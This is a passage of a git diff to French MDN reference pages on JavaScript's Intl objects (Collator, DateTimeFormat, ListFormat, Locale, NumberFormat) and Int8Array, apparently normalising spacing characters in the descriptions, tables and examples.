la syntaxe du constructeur, voir la page sur les [t ## Propriétés - {{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int8Array.BYTES_PER_ELEMENT")}} - - : Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de `Int8Array`, la propriété vaudra 1. + - : Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de `Int8Array`, la propriété vaudra 1. - `Int8Array.length` - : Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}}. - {{jsxref("TypedArray.name", "Int8Array.name")}} @@ -39,7 +39,7 @@ Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les [t ## Méthodes - Int8Array.from() - - : Crée un nouvel objet `Int8Array` à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}. + - : Crée un nouvel objet `Int8Array` à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}. - Int8Array.of() - : Crée un nouvel objet `Int8Array` à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}. diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.md b/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.md index 0c4e0f30e3..3372ae1d9c 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.md @@ -30,7 +30,7 @@ La méthode **`Intl.Collator.prototype.compare()`** compare deux chaînes de car ## Description -L'accesseur `compare` renvoie un nombre qui indique le résultat de la comparaison entre `chaine1` et `chaine2` selon l'ordre de tri de l'objet {{jsxref("Collator")}} : la valeur obtenue sera négative si `chaine1` précède `chaine2`, positive si `chaine1` succède à `chaine2`, nulle si les deux chaînes sont considérées égales. +L'accesseur `compare` renvoie un nombre qui indique le résultat de la comparaison entre `chaine1` et `chaine2` selon l'ordre de tri de l'objet {{jsxref("Collator")}} : la valeur obtenue sera négative si `chaine1` précède `chaine2`, positive si `chaine1` succède à `chaine2`, nulle si les deux chaînes sont considérées égales. ## Exemples @@ -66,8 +66,8 @@ console.log(matches.join(", ")); | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.compare', 'Intl.Collator.prototype.compare')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.compare', 'Intl.Collator.prototype.compare')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/index.md b/files/fr/web/javascript/reference/global_objects/intl/collator/index.md index 497d476044..344ed087fd 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/collator/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/index.md @@ -26,7 +26,7 @@ L'objet **`Intl.Collator`** est un constructeur de « collecteurs », des objets - `locales` - - : Une chaîne de caractères avec une balise de langue BCP 47 ou un tableau qui contient des chaînes dans ce format. Pour plus d'informations sur le format et l'interprétation de l'argument `locales`, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}. Pour ce constructeur, les clés d'extensions Unicode suivantes sont acceptées : + - : Une chaîne de caractères avec une balise de langue BCP 47 ou un tableau qui contient des chaînes dans ce format. Pour plus d'informations sur le format et l'interprétation de l'argument `locales`, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}. Pour ce constructeur, les clés d'extensions Unicode suivantes sont acceptées : - `co` - : Les variantes dans les méthodes de regroupement (« collation ») des chaînes de caractères. Les valeurs autorisées pour cette clé sont : `"big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "searchjl", "stroke", "trad", "unihan"`. Les valeurs `"standard"` et `"search"` sont ignorées. Elles sont remplacées par la propriété `usage` de l'argument `options` (voir ci-après). @@ -119,7 +119,7 @@ console.log(new Intl.Collator("sv").compare("ä", "z")); ### Utiliser `options` -Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} peuvent être adaptés grâce à l'argument `options` : +Les résultats fournis par {{jsxref("Collator.prototype.compare()")}} peuvent être adaptés grâce à l'argument `options` : ```js // en allemand, 'ä' est composé de la lettre de base 'a' @@ -136,8 +136,8 @@ console.log(new Intl.Collator("sv", {sensitivity: "base"}).compare("ä", "a")); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-10.1', 'Intl.Collator')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-10.1', 'Intl.Collator')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#collator-objects', 'Intl.Collator')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-10.1', 'Intl.Collator')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#collator-objects', 'Intl.Collator')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.md b/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.md index 665b0ff858..e91c798f28 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/supportedlocalesof/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/supportedLo --- {{JSRef}} -La méthode **`Intl.Collator.supportedLocalesOf()`** renvoie, parmi les locales fournies, un tableau contenant les locales supportées et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement. +La méthode **`Intl.Collator.supportedLocalesOf()`** renvoie, parmi les locales fournies, un tableau contenant les locales supportées et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement. {{EmbedInteractiveExample("pages/js/intl-collator-prototype-supportedlocalesof.html")}} @@ -43,7 +43,7 @@ Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locale ## Exemples -Si on dispose d'un environnement (un navigateur par exemple) qui supporte la comparaison de chaînes dans les locales indonésienne, allemande mais pas balinaise, `supportedLocalesOf` renvoie les balises pour l'indonésien et l'allemand quand bien même la collation avec pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme `"lookup"`. SI on utilisait `"best fit"` pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien. +Si on dispose d'un environnement (un navigateur par exemple) qui supporte la comparaison de chaînes dans les locales indonésienne, allemande mais pas balinaise, `supportedLocalesOf` renvoie les balises pour l'indonésien et l'allemand quand bien même la collation avec pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme `"lookup"`. SI on utilisait `"best fit"` pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien. ```js var locales = ["ban", "id-u-co-pinyin", "de-ID"]; @@ -57,8 +57,8 @@ console.log(Intl.Collator.supportedLocalesOf(locales, options).join(", ")); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.Collator.supportedLocalesOf', 'Intl.Collator.supportedLocalesOf')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-10.2.2', 'Intl.Collator.supportedLocalesOf')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.Collator.supportedLocalesOf', 'Intl.Collator.supportedLocalesOf')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.md b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.md index 1fb93f7064..079d83bd14 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/format/index.md @@ -86,8 +86,8 @@ let formattedDate = Intl.DateTimeFormat(undefined, { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.format', 'Intl.DateTimeFormat.format')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-12.3.2', 'Intl.DateTimeFormat.format')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.format', 'Intl.DateTimeFormat.format')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.md b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.md index 3230687f4d..d64489ca1f 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/index.md @@ -49,7 +49,7 @@ L'objet **`Intl.DateTimeFormat`** est un constructeur d'objets permettant de for - `formatMatcher` - : L'algorithme de correspondance à utiliser pour le formattage. Les valeurs possibles sont `"basic"` et `"best fit"` ; par défaut `"best fit"`. Voir les paragraphes suivants pour des informations concernant l'usage de cette propriété. - Les propriétés suivantes décrivent les composants date-heure à utiliser pour le formattage de la sortie. Les implémentations ont pour obligation de supporter au minimum les ensembles suivants : + Les propriétés suivantes décrivent les composants date-heure à utiliser pour le formattage de la sortie. Les implémentations ont pour obligation de supporter au minimum les ensembles suivants : - `weekday, year, month, day, hour, minute, second` - `weekday, year, month, day` diff --git a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.md b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.md index 13f5517dce..6bd6141497 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/datetimeformat/supportedlocalesof/index.md @@ -45,7 +45,7 @@ Renvoie un tableau qui est un sous-ensemble de `locales`. Les balises de langues ### Utiliser `supportedLocalesOf` -Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures, `supportedLocalesOf` renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme `"lookup"`. Si on utilisait `"best fit"`, on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise. +Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures, `supportedLocalesOf` renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme `"lookup"`. Si on utilisait `"best fit"`, on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise. ```js var locales = ["ban", "id-u-co-pinyin", "de-ID"]; @@ -59,8 +59,8 @@ console.log(Intl.DateTimeFormat.supportedLocalesOf(locales, options).join(", ")) | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------- | | {{SpecName('ES Int 1.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}} | {{Spec2('ES Int 1.0')}} | Définition initiale. | -| {{SpecName('ES Int 2.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.supportedLocalesOf', 'Intl.DateTimeFormat.supportedLocalesOf')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.supportedLocalesOf', 'Intl.DateTimeFormat.supportedLocalesOf')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/index.md b/files/fr/web/javascript/reference/global_objects/intl/index.md index 71920ac7ae..37ab9d9a44 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/index.md @@ -65,7 +65,7 @@ La BCP 47 permet également des extensions. Les fonctions d'internalisation de J ### Négociation de la locale -L'argument `locales`, après retrait de toutes les extensions Unicode, est interprété comme une requête classée par priorité émanant de l'application. L'environnement d'exécution le compare aux locales dont il dispose et choisit la meilleure disponible. Il existe deux algorithmes d'association : l'apparieur "lookup" suit l'algorithme Lookup spécifié dans [BCP 47](http://tools.ietf.org/html/rfc4647#section-3.4); l'apparieur "meilleure correspondance" laisse l'environnement d'exécution fournir une locale qui est au moins aussi, mais possiblement mieux, adaptée à la demande que le résultat de l'algorithme Lookup. Si l'application ne fournit pas d'argument `locales` ou que l'environnement d'exécution ne dispose pas d'une locale qui corresponde à la requête, alors la locale par défaut de l'environnement d'exécution est utilisée. L'apparieur peut être choisi en utilisant une propriété de l'argument `options` (voir ci-dessous). +L'argument `locales`, après retrait de toutes les extensions Unicode, est interprété comme une requête classée par priorité émanant de l'application. L'environnement d'exécution le compare aux locales dont il dispose et choisit la meilleure disponible. Il existe deux algorithmes d'association : l'apparieur "lookup" suit l'algorithme Lookup spécifié dans [BCP 47](http://tools.ietf.org/html/rfc4647#section-3.4); l'apparieur "meilleure correspondance" laisse l'environnement d'exécution fournir une locale qui est au moins aussi, mais possiblement mieux, adaptée à la demande que le résultat de l'algorithme Lookup. Si l'application ne fournit pas d'argument `locales` ou que l'environnement d'exécution ne dispose pas d'une locale qui corresponde à la requête, alors la locale par défaut de l'environnement d'exécution est utilisée. L'apparieur peut être choisi en utilisant une propriété de l'argument `options` (voir ci-dessous). Si la balise de la langue choisie comporte une sous chaîne d'extension Unicode, cette extension est maintenant utilisée pour personnaliser l'objet construit ou le comportement de la fonction. Chaque constructeur ou fonction ne supporte qu'un sous-ensemble des clés définies pour le extension Unicode, et les valeurs supportées dépendent souvent de la balise de langue. Par exemple, la clé "co" (collation) n'est supportée que par le constructeur {{jsxref("Collator")}}, et sa valeur "phonebk" n'est supportée que pour l'allemand. diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.md b/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.md index f18d79b75b..c15bb017d3 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/format/index.md @@ -1,5 +1,5 @@ --- -title: Intl.ListFormat.prototype.format() +title: Intl.ListFormat.prototype.format() slug: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/format tags: - Internationalisation diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.md b/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.md index 2730cf774b..60ee95e7cf 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/formattoparts/index.md @@ -1,5 +1,5 @@ --- -title: Intl.ListFormat.prototype.formatToParts() +title: Intl.ListFormat.prototype.formatToParts() slug: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/formatToParts tags: - Internationalisation diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/index.md b/files/fr/web/javascript/reference/global_objects/intl/listformat/index.md index af5f79508d..76e33095f8 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/listformat/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/index.md @@ -24,10 +24,10 @@ L'objet **`Intl.ListFormat`** est un constructeur d'objets qui permettent de for ### Paramètres - `locales`{{optional_inline}} - - : Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument `locales`, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. + - : Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument `locales`, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. - `options`{{optional_inline}} - - : Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes : + - : Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes : - `localeMatcher` - : L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont `"lookup"` et `"best fit"` ; le défaut est `"best fit"`. Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}. diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.md b/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.md index 8262926d17..dab437ab96 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/resolvedoptions/index.md @@ -1,5 +1,5 @@ --- -title: Intl.ListFormat.prototype.resolvedOptions() +title: Intl.ListFormat.prototype.resolvedOptions() slug: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/resolvedOptions tags: - Internationalisation @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/resolvedO --- {{JSRef}}{{Draft}} -La méthode **`Intl.ListFormat.prototype.resolvedOptions()`** renvoie un nouvel objet dont les propriétés reflètent les options de locale et de style calculées à l'initialisation de l'objet {{jsxref("ListFormat")}}. +La méthode **`Intl.ListFormat.prototype.resolvedOptions()`** renvoie un nouvel objet dont les propriétés reflètent les options de locale et de style calculées à l'initialisation de l'objet {{jsxref("ListFormat")}}. ## Syntaxe diff --git a/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.md b/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.md index ae6a5c4f24..5b5fe80145 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/listformat/supportedlocalesof/index.md @@ -42,7 +42,7 @@ Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locale ### Utiliser `supportedLocalesOf` -Si on dispose d'un environnement (un navigateur par exemple) qui supporte le formatage des listes dans les locales indonésienne, allemande mais pas balinaise, `supportedLocalesOf` renvoie les balises pour l'indonésien et l'allemand quand bien même le formatage des listes pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme `"lookup"`. SI on utilisait `"best fit"` pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien. +Si on dispose d'un environnement (un navigateur par exemple) qui supporte le formatage des listes dans les locales indonésienne, allemande mais pas balinaise, `supportedLocalesOf` renvoie les balises pour l'indonésien et l'allemand quand bien même le formatage des listes pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme `"lookup"`. SI on utilisait `"best fit"` pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien. ```js const locales = ['ban', 'id-u-co-pinyin', 'de-ID']; @@ -55,7 +55,7 @@ console.log(Intl.ListFormat.supportedLocalesOf(locales, options).join(', ')); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | ------------ | -| [Proposition pour `Intl.ListFormat.supportedLocalesOf`](https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.supportedLocalesOf) | Proposition de niveau 3 | | +| [Proposition pour `Intl.ListFormat.supportedLocalesOf`](https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.supportedLocalesOf) | Proposition de niveau 3 | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.md b/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.md index e9d990d117..6f1a50e79d 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/calendar/index.md @@ -49,7 +49,7 @@ La propriété `calendar` renvoie la partie de la locale qui indique le calendri <tr> <td><code>ethioaa</code></td> <td> - Calendrier éthiopique, Amete Alem (an 0 situé environ à 5493 ans avant + Calendrier éthiopique, Amete Alem (an 0 situé environ à 5493 ans avant notre ère) </td> </tr> @@ -121,7 +121,7 @@ La propriété `calendar` renvoie la partie de la locale qui indique le calendri <td> <div class="warning"> <p> - <strong>Attention :</strong> La clé <code>islamicc</code> est + <strong>Attention :</strong> La clé <code>islamicc</code> est désormais dépréciée et il faut utiliser <code>islamic-civil</code> à la place. </p> diff --git a/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.md b/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.md index f125b58901..b59e36cdf6 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/locale/maximize/index.md @@ -26,7 +26,7 @@ Une instance {{jsxref("Locale", "Locale")}} dont la propriété `baseName` renvo ## Description -Il est parfois utile d'identifier les composantes les plus probables d'une locale en fonction d'un identifiant incomplet. Cette méthode utilise un algorithme qui permet de déduire les composantes restantes les plus probables. Par exemple, si on fournit la langue `"en"`, l'algorithme renverra `"en-Latn-US"`, car l'anglais ne s'écrit qu'avec l'alphabet latin et est le plus largement parlé aux États-Unis. La méthode `maximize()` n'opère que sur les composantes principales (langue, script, région) et pas sur les extensions éventuellement indiquées après `"-u"` (dont [`Locale.hourCycle`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/hourCycle "The Intl.Locale.prototype.hourCycle property is an accessor property that returns the time keeping format convention used by the locale."), [`Locale.calendar`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/calendar "The Intl.Locale.prototype.calendar property is an accessor property which returns the type of calendar used in the Locale.") et [`Locale.numeric`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/numeric "The Intl.Locale.prototype.numeric property is an accessor property that returns whether the locale has special collation handling for numeric characters.") entre autres). +Il est parfois utile d'identifier les composantes les plus probables d'une locale en fonction d'un identifiant incomplet. Cette méthode utilise un algorithme qui permet de déduire les composantes restantes les plus probables. Par exemple, si on fournit la langue `"en"`, l'algorithme renverra `"en-Latn-US"`, car l'anglais ne s'écrit qu'avec l'alphabet latin et est le plus largement parlé aux États-Unis. La méthode `maximize()` n'opère que sur les composantes principales (langue, script, région) et pas sur les extensions éventuellement indiquées après `"-u"` (dont [`Locale.hourCycle`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/hourCycle "The Intl.Locale.prototype.hourCycle property is an accessor property that returns the time keeping format convention used by the locale."), [`Locale.calendar`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/calendar "The Intl.Locale.prototype.calendar property is an accessor property which returns the type of calendar used in the Locale.") et [`Locale.numeric`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale/numeric "The Intl.Locale.prototype.numeric property is an accessor property that returns whether the locale has special collation handling for numeric characters.") entre autres). ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.md b/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.md index bac7a3220c..4b542d2ddf 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/format/index.md @@ -30,7 +30,7 @@ La méthode **`Intl.NumberFormat.prototype.format()`** formate un nombre en fonc ## Description -La fonction d'accesseur `format` permet de formater un nombre donné en une chaîne de caractères selon les options de locale et de format de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}. +La fonction d'accesseur `format` permet de formater un nombre donné en une chaîne de caractères selon les options de locale et de format de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}. ## Exemples @@ -42,12 +42,12 @@ On peut utiliser la fonction renvoyée par `format` pour formater une valeur mon var options = {style: "currency", currency: "RUB"}; var numberFormat = new Intl.NumberFormat("ru-RU", options); console.log(numberFormat.format(654321.987)); -// → "654 321,99 руб." +// → "654 321,99 руб." ``` ### Utiliser `format()` avec `map()` -On peut également utiliser la fonction `format` pour formater les nombres contenus dans un tableau. On notera que la fonction est liée à l'objet `NumberFormat` dont elle provient, on peut donc directement l'utiliser avec {{jsxref("Array.prototype.map")}}. +On peut également utiliser la fonction `format` pour formater les nombres contenus dans un tableau. On notera que la fonction est liée à l'objet `NumberFormat` dont elle provient, on peut donc directement l'utiliser avec {{jsxref("Array.prototype.map")}}. ```js var a = [123456.789, 987654.321, 456789.123]; @@ -62,8 +62,8 @@ console.log(formatted.join("; ")); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | | {{SpecName('ES Int 1.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}} | {{Spec2('ES Int 1.0')}} | Définition initiale | -| {{SpecName('ES Int 2.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.format', 'Intl.NumberFormat.prototype.format')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.format', 'Intl.NumberFormat.prototype.format')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.md b/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.md index 66f86323c6..9ec1c3e793 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/formattoparts/index.md @@ -44,7 +44,7 @@ La méthode `formatToParts()` est peut être utilisée lorsqu'on met en forme de Les valeurs possibles pour l'attribut `type` sont : - `currency` - - : Le suffixe associé à la devise. Ce peut être le symbole "$", "€" ou bien le nom de la devise "Dollar", "Euro" selon la façon dont `currencyDisplay` est indiquée. + - : Le suffixe associé à la devise. Ce peut être le symbole "$", "€" ou bien le nom de la devise "Dollar", "Euro" selon la façon dont `currencyDisplay` est indiquée. - `decimal` - : Le séparateur décimal utilisé ("."). - `fraction` diff --git a/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.md b/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.md index 248d95d5ed..5f349a0fca 100644 --- a/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.md +++ b/files/fr/web/javascript/reference/global_objects/intl/numberformat/index.md @@ -25,14 +25,14 @@ L'objet **`Intl.NumberFormat`** est un constructeur permettant de créer des obj - `locales` - - : Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument `locales`, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées : + - : Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument `locales`, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées : - nu - : Le système numérique à utiliser. Parmi les valeurs possibles, on a : `"arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".` - `options` - - : Paramètre optionnel. Un objet avec certaines ou 